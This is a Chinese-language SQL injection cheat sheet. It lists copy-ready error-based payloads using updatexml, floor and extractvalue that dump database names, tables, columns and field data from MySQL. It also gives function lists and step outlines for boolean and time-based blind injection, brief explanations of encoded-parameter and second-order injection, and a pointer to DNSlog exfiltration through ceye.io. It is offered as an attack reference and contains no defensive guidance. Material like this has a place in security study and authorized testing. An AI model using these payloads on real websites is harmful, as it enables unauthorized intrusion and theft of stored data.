一、报错盲注

1、通过updatexml报错

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))--+

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=TABLE_NAME)),0x7e))--+

爆字段数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))--+

2、通过floor报错

'and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

3、通过extractvalue报错

爆数据库名:'and(select extractvalue(1,concat(0x7e,(select database()))))--+

爆表名:'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+

爆列名:'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=TABLE_NAME))))--+

爆字段数据:'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))--+

二、布尔盲注

1
2
3
4
5
6
7
like 'ro%'						#判断ro或ro...是否成立
regexp '^guet[a-z]' #匹配guet及guet...等
left(database(),b) #从左侧截取database名的前b位
length(database())=8 #判断数据库database()名的长度
substr(a,b,c) #从位置b开始,截取字符串a的c长度
mid(a,b,c) #从位置b开始,截取字符串a的c位
ascii() #返回字符ascii码值

注入流程

  • 数据库长度
  • 数据库表的ascii
  • 数据库中表的个数
  • 数据库中其中一个表名的长度
  • 数据库中其中一个表名的ascii
  • 列名的数量
  • 列名的长度
  • 列名的ascii
  • 字段的数量
  • 字段内容的长度
  • 字段内容对应的ascii

三、延时盲注

1
2
3
if(condition,A,B)					#如果condition为true,返回A;反之返回B
sleep() #sql语句延时执行
ascii(x)=97 #判断x的ascii码是否等于97

四、加解密注入

很多情况下,网站管理员经常会对传进的参数进行一个加密的操作,加密有可能是自己写,也有可能是base64、md5等等常见的加密

这种情况下,我们传注入语句的时候就要传对应的加密的内容

五、二次注入

  1. 插入恶意数据

    第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

  2. 引用恶意数据

    在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

六、DNS注入

DNSlog主要解决盲注不能回显数据、效率低的问题

适合的网站:http://ceye.io